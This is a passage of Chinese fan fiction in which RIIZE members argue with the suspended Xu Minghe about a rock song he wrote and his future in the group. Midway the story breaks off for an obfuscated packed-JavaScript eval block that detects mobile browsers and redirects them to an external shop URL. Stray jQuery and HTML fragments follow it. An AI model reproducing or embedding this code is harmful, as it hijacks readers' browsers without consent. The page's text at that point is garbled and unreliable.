郑成灿:“你等等。”


    他先召集了RIIZE的其他成员:许鸣鹤好像又在搞什么幺蛾子了,不知道是好是坏,但看样子他早晚有一天会回来,你们和我一起做心理准备。


    等等,我为什么说又?


    “没必要这么大阵仗,一起练习的朋友们都知道,”许鸣鹤说,“这段时间cover前辈的歌做生唱练习室,我在主唱位。”


    这个其实队友也有所耳闻。“我听说过一点,”宋银硕道,“说你唱得还挺稳,比练习生时期是进步了吗?”


    “进步了一点,但仅限于一种特别的发声方式,我示范一下。”


    许鸣鹤演唱了最近在排练的《Lucifer》。


    唱跳很稳,就是音效……


    “为什么要用这么重的金属腔?”朴元彬皱眉。


    摇滚风《Lucifer》,太违和了好吧。


    几个人开始交换眼色,全是“许鸣鹤身上又发生了什么?”的疑惑与忧虑。


    许鸣鹤:“尝试写beat的时候,接触了太多换成电吉他来演奏就是重金属的古典乐。”


    “你觉得我会信这个吗?”宋银硕一盆冷水泼过去。


    “还是哥了解我,”许鸣鹤为他点赞,“这是我准备的借口,听起来真的有那么敷衍吗?”


    大崎将太郎:“先说什么是真实原因,别搞花样,我没时间听借口。”


    “好的,哥,”脸皮极厚,热爱闯祸,但还讲究那么点长幼有序的许鸣鹤应声之后,真的诚实地说,“我写了一首摇滚风格的自作曲,想办法把它唱得好听,有了点效果,但中间花的心思太多了,影响了我唱其他歌的习惯。”


    李灿荣:“会让你沉迷的自作曲不是rap吗?”


    “现在rap不需要我花太多精力去研究怎么唱好。”许鸣鹤诚实地回答。


    李灿荣闭上了嘴。


    而宋银硕回想许鸣鹤练习生时期的表现,若有所思:“你以前总是在填rap词,靠着采样制作beat,居然开始写以旋律为主的歌了?是什么主题?”


    “嗯……自我介绍?”许鸣鹤也犹豫了,“我要是说fan song的话,好像会很讨打。”


    连许鸣鹤都觉得会讨打,那会是什么东西?


    郑成灿:“唱。”


    “宝贝,暴风雨正在酝酿,


    我没有时间坐下来祈祷。


    因为这样的生活不是没有代价,


    我该得到应有的惩罚。”


    ……


    在许鸣鹤用咏叹一般的起伏唱完“我冒着飓风走进,然后得到了我应得的”之后,又在强烈的节奏中,用他那烈酒一般,具有强烈的穿透力和一点令人迷醉的回味的唱腔,再次唱起“宝贝,暴风雨正在酝酿”的时候,RIIZE另六人众口一词:


    “停下!”


    再听一遍“我该得到应有的惩罚”,他们就该担心应有的血压了。


    许鸣鹤停下来,平静地看着调理中的队友们。


    “你在想什么,”宋银硕最先开口,但看起来仍然没有调理好,“已经发生的事对你没有一点影响吗?”


    “怎么会没有,当然有,我在反思,远离那些看起来危险的事,这首歌也只唱给你们,还没有给上面的人听,更没有发表。但反思了以后,从想做的事情里挑没什么风险的去做,这应该没有问题吧。”


    热爱整活与热爱闯祸这个一体两面的人设做着做着,许鸣鹤性格中那些柔软的、敏感的、混沌的部分便被隐藏在了最深处,表现出来的,是一种几乎可以称之为冷静与冷酷的热情。


    “不然我要做什么,每天想三遍‘那时要是没有那样做就好了’,还是闭上嘴,在遇到的所有人面前扮可怜?”


    “你都不想选,所以选择‘我都停止活动自肃了,还想怎么样’,和练习生们玩半年回去,继续想做什么做什么?”


    回过神来的郑成灿:?他们怎么吵起来了?许鸣鹤上次塌房的时候,也只是他和剩下的六个人互相冷战,怎么这会火药味出来了?


    “只要积极地去做愿意做的事,就是‘玩’,”许鸣鹤轻声感慨了一句,又在宋银硕嘴唇翕动,想说什么话来找补的时候,继续说道,“如果需要装作吸取了教训,做什么事之前都先看眼色的样子才能重新活动,我肯定会努力装一下的,不至于为了real而赌气,可是看起来谨慎小心的idol那么多,我加入其中,能算作亮点的没有了,犯过的错出过的事留下的黑历史却不会因此消失,真的好吗?”


    不对……等等……许鸣鹤你是不是有点太能诡辩了。


    发现思路被许鸣鹤越带越偏的RIIZE成员们,表情都越来越纠结。


    “你确定保持原状不会被骂毫无反思的意愿?”郑成灿在脑中过了一遍许鸣鹤话里的纰漏,反问。


    “不确定,所以我说现在最好先不要让我回去。但我以后要不要回去,回去以后要怎么做,可能需要有点心理准备?还是就是什么都不准备做,等公司的安排。”


    许鸣鹤尽可能让自己的笑容充满友善。


    “那也好,做得多,风险可能也更大。”


    像现在这样也就是偶尔被说两句“许鸣鹤停活以后得RIIZE太淡(太无聊)”,但目前S.M.的策划和宣传能够carry,这种程度的无趣并没有怎么影响组合的成绩。


    但如果有一天,S.M.制作的歌不能抓住听众的耳朵,策划不能让粉丝与路人感到快乐和新鲜,RIIZE的成员们又能够起到什么作用呢?


    在不欢而散的小聚后,六个人在宿舍里谈到这个话题,氛围渐渐陷入尴尬,像他们的很多次营业一样。


    李灿荣:“难道我们还离不了他吗?”


    “不要这样绝对,”郑成灿思索,“我们要看他回不来应该怎么做,他回来的话,怎么做对我们最有好处。”


    可是这样一想,许鸣鹤要是回来以后偃旗息鼓,RIIZE就是从淡淡的六个人变成了淡淡的七个人,多出来的那个还曾塌房塌得人尽皆知,那许鸣鹤回来的意义在哪里,体现公司和他们对成员的不离不弃吗?<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869870|186915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “我们的想法被他带歪了。”宋银硕恨恨地说。


    “不一定,”练习生期间与许鸣鹤不太亲近的朴元彬,此时的态度却积极得多,“可以与努力表现的许鸣鹤互动,但不一定要用他期待的方式。”


    大崎将太郎:“那应该怎么做?”


    “沟通。”朴元彬说。


    “我之前不是在沟通吗?”迷惑的反而变成了许鸣鹤。


    朴元彬:“……沟通?那你得出了什么结论。”


    “相似的经历不一定能带来同感,”许鸣鹤嘟囔道,“经历接近,想法有分歧,隔阂反而会更厉害。”都因为练习生时期的恋爱和人际关系除了问题,但他和宋银硕是一点同病相怜也看不出来。


    “别这副阴阳怪气的样子。”


    许鸣鹤在嘴上拉了个拉链。


    “在埋怨银硕哥?”


    “骂我倒无所谓,第一反应是让我什么都不做,也没什么其他想法,是有点失望。”许鸣鹤说。


    idol再怎么打卡上班,许鸣鹤要不要归队,回去以后该怎么办这么重要的事情上,怎么能又在意,又听之任之呢?


    朴元彬有不同看法:“这个时候银硕哥的处境比较尴尬,不太好表现得和你很有共同语言。”不然同一批在rookies公开,进RIIZE,还有前女友分别找他和许鸣鹤拉皮条的那对烂事,再表现得和许鸣鹤亲近些,就太像蛇鼠一窝了。


    并不认为这是什么要紧事的许鸣鹤:“哦。”


    都这个时候了,有必要如此刻意?


    “过去的事先不提,”朴元彬不想在这样的事上打转,“现在,我们都认真说话,不用那些夸张的词,OK?”


    “嗯。”


    “你考虑了回不去的可能性吗?”


    “考虑过,这种事还简单,合约还在且公司允许,solo试试,如果公司看我太赔钱,就解约,我去做独立歌手,不赚钱也可以做兼职,疫情都过去了,在首尔没那么容易饿死。”


    “那合适?”


    “失败的概率很高,我做练习生,也有自知才能不够突出的原因,”在能力展示时多有收敛的许鸣鹤说,“但已经到了这一步,我只能基于现实想后面的事。”


    在朴元彬若有所思的时候,他还补了一句:“前段时间我还问过公司,今年回不去的话能不能让我高考。”


    对许鸣鹤的心态无话可说的朴元彬:“公司怎么说?”


    “继续老实和练习生们一起,别想有的没的。”


    “该。”朴元彬嗤笑道。


    “这个我没有听,还是会想,想一想而已,不是什么危险的事情吧。”许鸣鹤也笑。


    “在想的过程中写了那样的歌?”


    “嗯。”


    “还有别的吗?”


    有是有,没想好拿哪些当做“许鸣鹤反思阶段创作的自作曲”。


    于是许鸣鹤反问:“怎么了?”


    “教我唱,”他说,“你的水平能作为独立歌手活动时,我就试一试,得到我应有的惩罚。”